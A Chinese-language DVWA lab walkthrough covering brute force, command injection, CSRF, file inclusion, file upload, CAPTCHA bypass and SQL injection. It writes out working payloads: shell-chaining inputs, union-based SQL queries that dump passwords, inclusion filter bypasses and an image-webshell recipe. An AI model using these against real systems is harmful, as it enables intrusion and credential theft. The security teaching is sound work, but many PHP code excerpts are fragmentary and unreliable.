DVWA靶场

Brute Force

Low

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //结果存在并且返回一条记录,说明查到了 if( $result && mysqli_num_rows( $result ) == 1 ) { //查询结果关联数据row,row已经变成键值对 $row = mysqli_fetch_assoc( $result ); //获取登录成功图片 $avatar = $row["avatar"]; // Login successful //登录成功,输出到页面上 echo "

Welcome to the password protected area {$user}

"; echo ""; } else { // Login failed //未查到,错误信息输出到页面上 echo "

Username and/or password incorrect.
"; } //释放资源 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

先随便输入账号密码,使用BP抓包

选择send to intruder

DVWA靶场_第1张图片

选用clear清除掉现有的,再选中自己试的密码添加

DVWA靶场_第2张图片

添加密码字典

 DVWA靶场_第3张图片

 开始爆破,长度不一样的一般即为密码

可知密码为password

 DVWA靶场_第4张图片

medium

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo ""; } else { // Login failed sleep( 2 ); echo "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

代码审计:参数username和password是直接通过GET方式获取,并未做任何过滤,满足if条件(Login变量是否设置)就可以进行参数利用
漏洞利用:使用burp设置跑参点,加载字典使用穷举法猜解出用户口令

先随便输入账号密码,使用BP抓包

选择send to intruder

DVWA靶场_第5张图片

 选用clear清除掉现有的,再选中自己试的密码添加

DVWA靶场_第6张图片

 添加密码字典

DVWA靶场_第7张图片

 开始爆破,长度不一样的一般即为密码

DVWA靶场_第8张图片 可知密码为password

DVWA靶场_第9张图片

 high

prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would alLow for user enumeration!
        //echo "

This account has been locked due to too many incorrect logins.
"; // Calculate when the user would be alLowed to login again //计算用户能再次登录的时间 $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "
"; print "The timenow is: " . date ("h:i:s", $timenow) . "
"; print "The timeout is: " . date ("h:i:s", $timeout) . "
"; */ // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked
"; } } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo ""; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "

Warning: Someone might of been brute forcing your account.

"; echo "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

bp+pitchfock

对于有token来防护csrf的,可以使用到这个功能进行爆破,因为每次用户的token都是随机的。

选择攻击模式为pitchfock,并且给要破解的token项带上美元符号

选择options将线程数设置为1(递归查找,将上一个请求的相应token作为下一个请求的payload的token,所以就不并发)

Grep-Extract模块进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取

Redirections模块设置允许重定向,选择always

点击payload的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中

开始爆破
具体过程

抓包,发现有token

DVWA靶场_第10张图片

 使用intruder,将密码和token作为变量,同时攻击模式使用Pitchfork

DVWA靶场_第11张图片

找到Grep-Extract模块进行相应设置

点击1Options->2Add->3刷新->4复制token(493d13e584836842e3522e7d6fe778a4)-> 56由空白出现内容->7OK

DVWA靶场_第12张图片

 DVWA靶场_第13张图片

 找到Redirections模块设置允许重定向,选择always

DVWA靶场_第14张图片

 点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。

DVWA靶场_第15张图片

 将payloads1导入字典后就开始攻击吧

DVWA靶场_第16张图片

 开始爆破

DVWA靶场_第17张图片

 得到密码

DVWA靶场_第18张图片

impossible

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo ""; } else { // Login failed sleep( rand( 0, 3 ) ); echo "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,当用户登录失败达到3次,将会锁住账号15秒,爆破也就无法继续。

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

Command Injection(Low)命令注入 

Low

审计代码,可以发现直接针对操作系统类型进行ping,没有对输入的数据作出任何过滤,非常危险。

{$cmd}
"; } ?>

在文本框里输入”127.0.0.1”,得到以下系统中所有的用户

DVWA靶场_第19张图片

发现乱码

解决此问题的方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可

DVWA靶场_第20张图片

DVWA靶场_第21张图片

127.0.0.1

DVWA靶场_第22张图片

 127.0.0.1&&dirDVWA靶场_第23张图片

medium

 '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
//将参数中有&&和;的都替换成空
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"; } ?>

代码审计:通过设置黑名单过滤特殊符号,防御恶意参数的构造,但是仍然可以通过等效符号进行代替绕过黑名单,达到命令执行的效果
漏洞利用:构造Poc与low安全级别一致,区别在于用等效的符号绕过黑名单,同样达到命令执行的效果,拿webshell,连webshell管理工具,操作服务器

DOS中&用法
这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

输入127.0.0.1 | dir

DVWA靶场_第24张图片

 输入127.0.0.1&ipconfig

DVWA靶场_第25张图片

high

 '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
//替换成空
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"; } ?>

DOS中符号总结
l & 组合命令

语法:第一条命令 & 第二条命令 [& 第三条命令…]

&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为批处理认行不认命令数目。

这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。

这里&两边的命令是顺序执行的,从前往后执行。

比如:

dir z:\ & dir y:\ & dir c:\

以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在

l Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

l ; 分号

分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。

例:dir c:\;d:\;e:\1.txt

以上命令相当于

dir c:\

dir d:\

dir e:\1.txt

其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。

如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。

127.0.0.1|ipconfig

DVWA靶场_第26张图片

impossible

{$cmd}
"; } else { // Ops. Let the user name theres a mistake echo '
ERROR: You have entered an invalid IP.
'; } } // Generate Anti-CSRF token generateSessionToken(); ?>

Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

 CSRF跨站请求伪造

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

Low

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

我们先随便写两个不一样的密码

DVWA靶场_第27张图片

 再打开一个网页,输入链接,可以看到,直接跳转到了密码成功的页面了。

DVWA靶场_第28张图片

medium

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } } else { // Didn't come from a trusted source echo "
That request didn't look correct.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

抓包

DVWA靶场_第29张图片

 打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包 

dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。

那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了

 可以看到,已经成功修改密码了

DVWA靶场_第30张图片

 high

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

客户端访问修改密码页面->服务器发一个token->用户修改参数的请求中加入了token参数->服务器验证token->成功修改

相当于把流程修改了,token的生成是随机的
随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

通过构造这样一个attack函数

当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。




















DVWA靶场_第31张图片

impossible

prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match or current password incorrect.
"; } } // Generate Anti-CSRF token generateSessionToken(); ?>

要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击

 File Inclusion文件包含

文件包含是指调用文件,可以调用本地的文件,也可以调用远程的文件

一.File Inclusion,意思是文件包含(漏洞),是指当服务器开启alLow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的alLow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

包含,往往用在复用的地方,比如你写了一个连接数据库的方法,我直接ctrl+c,ctrl+v就可以用,不用我自己再写,当然是使用include关键字来引用你的方法

二、文件包含漏洞用到的函数

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

DVWA是通过文件包含,来调用file1.php/file2.php/file3.php

Low

查看phpinfo.php文件,输入网址http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy_pro\WWW\DVWA\phpinfo.php

DVWA靶场_第32张图片

包含一个不存在的文件 xixi.php ,看看会发生什么情况!

 可以看到,发生了报错,并且把网站的路径都给暴露出来了。

第一行的那个Warning就是找不到指定的xixi.php文件,也就是包含不到指定的文件,所Warning。
而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。

在目录中创建一个测试文件test.txt,文件内容是“”,通过文件包含漏洞可以直接查看到该文件内容。

medium


可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。

但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http://  ,所以最终还是会包含到 http://xx 

我们先访问一下http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
DVWA靶场_第33张图片

发现报错,原因很简单,因为代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生

所以,我们可以试试访问该链接

http://dvwa/vulnerabilities/fi/?page=....//....//phpinfo.php

DVWA靶场_第34张图片回显正常

high


file协议

中文意思:本地文件传输协议

什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。

如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,构造如下URL

http://dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA/php.ini

DVWA靶场_第35张图片

impossible


可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

File Upload文件上传

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的。

Low

 Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } ?>

上传一个一句话,显示上传成功!

DVWA靶场_第36张图片

DVWA靶场_第37张图片

 使用蚁剑来连接获得webshell(右键添加数据,连接密码是指 1.php 里 通过POST提交的 数据 即 123,编码器一般选择 chr ,点击 添加 然后 右键 添加的项目,文件管理)

DVWA靶场_第38张图片

试着去新建个文件试试 test.txt 

DVWA靶场_第39张图片

 在服务器检测

DVWA靶场_第40张图片

medium

Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?>

先把1.php的格式改为1.png上传

用bp抓包后改为php

 点击forward

DVWA靶场_第41张图片

 链接蚁剑

DVWA靶场_第42张图片

DVWA靶场_第43张图片

high

Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?>

这里貌似可以用00截断的方式

这里引进图片马

制作图片马

画个画命名为1.jpg

将1.php(一句话木马)与正常图片合并

copy 1.jpg/b+1.php/a 1.jpg

b表示二进制文件

a表示ASCII码文件

DVWA靶场_第44张图片

查看生成的1.jpg

 成功上传

DVWA靶场_第45张图片

  使用蚁剑

DVWA靶场_第46张图片

impossible

${target_file} succesfully uploaded!
"; } else { // No echo '
Your image was not uploaded.
'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } // Generate Anti-CSRF token generateSessionToken(); ?>

Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

Insecure CAPTCHA不安全的验证码/不安全的验证流程

 CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。要是验证流程出现了逻辑漏洞.

DVWA中主要是输入当前的密码以及新密码,用来修改密码

需要配置

DVWA靶场_第47张图片

这关开始前我们可能遇到不能正常显示的情况,需要在配置文件中加入谷歌的密钥:

 $_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

DVWA靶场_第48张图片

DVWA靶场_第49张图片

 配置完成

DVWA靶场_第50张图片

Low


The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? //验证通过时,匹配两次密码是否一致 if( $pass_new == $pass_conf ) { // Show next stage for the user echo "

You passed the CAPTCHA! Click the button to confirm your changes.
"; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"; $hide_form = false; } } } //第二阶段,检查两次密码是否一致,并更新密码 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the end user echo "
Password Changed.
"; } else { // Issue with the passwords matching echo "
Passwords did not match.
"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

 这个主要分为两个阶段

第一阶段:验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码

第二阶段:如果如果两次输入的密码一致,就进行修改;那么如果能绕过第一阶段,是不是只要两次密码输入一致就能修改了?

抓包

 修改step参数,改为第二阶段将1改为2,并点击forward

DVWA靶场_第51张图片

修改成功

 DVWA靶场_第52张图片

medium


The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " // 对参数passed_captcha进行验证,如果通过身份验证,该参数就为true

You passed the CAPTCHA! Click the button to confirm your changes.
"; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "

You have not passed the CAPTCHA.
"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the end user echo "
Password Changed.
"; } else { // Issue with the passwords matching echo "
Passwords did not match.
"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

与Low相比,增加了第一阶段的判断,设置一个标志位passed_capt,如果身份验证通过了,就设置为true

抓包看一下,好像没有提交该参数啊

 那么我们就主动添加一个参数passed_captcha

step=2&password_new=111&password_conf=111&Change=Change&passed_captcha=true

DVWA靶场_第53张图片

 点击forward

DVWA靶场_第54张图片

high

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for user echo "
Password Changed.
"; } else { // Ops. Password mismatch $html .= "
Both passwords must match.
"; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "

The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

可以看到,验证过程已经不分步走了,都合在一个阶段里面了

服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

抓包
DVWA靶场_第55张图片

 改变两个参数

g-recaptcha-response=hidd3n_valu3

http包头的

User-Agent:reCAPTCHA

  DVWA靶场_第56张图片

impossible


The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the end user - success! echo "
Password Changed.
"; } else { // Feedback for the end user - failed! echo "
Either your current password is incorrect or the new passwords did not match.
Please try again.
"; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?>

需要输入以前的密码

SQL InjectionSQL注入

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

 DVWA中主要根据用户ID查询用户信息

SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

Low

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>

1.判断是否存在注入,注入是字符型还是数字型

代码中看到 '$id'变量,说明是字符串类型,下面进行判断

输入1

DVWA靶场_第57张图片

输入2

DVWA靶场_第58张图片

 输入1+2

DVWA靶场_第59张图片

 没有进行运算,是字符型。

开始SQL测试,输入 'or 1 = 1 or'  // 假or真or假 可以看到用户都爆出来了

DVWA靶场_第60张图片

再来判断字段的长度 1' order by 1#  // 显示正常

DVWA靶场_第61张图片

在测试 1' order by 2#  // 也显示正常

DVWA靶场_第62张图片

 再测试一下 1' order by 3#  3报错了,说明只有两个字段!

只有两个字段,我们可以来构造联合查询了,目的是为了查看回显的字段 。

输入:1' union select 1,2#  // 我们看到了结果显示都可以回显。

DVWA靶场_第63张图片

查看到都可以回显,我们就开始找当前,用户数据库的名字,

输入:1' union select user(),database()# 

DVWA靶场_第64张图片

 // 结果已经显示出来了 可以看到,用户:root@localhost 数据库:dvwa

我们现在就可以,从dvwa看看他都有哪些表。

输入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #

DVWA靶场_第65张图片

 // 看到dvwa这个数据库里有guestbook和users两个表,存放账号和密码的放在users表。

查看user表里的列里面的数据。

输入:1' union select 1,column_name from information_schema.columns wheretable_name='user'#

DVWA靶场_第66张图片

 // users的列已经爆出来了,接下来我们就是开始看password列里面的数据了。

输入:1' union select user,password from users#

DVWA靶场_第67张图片

可以看到密码已经爆出来了。

medium

' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
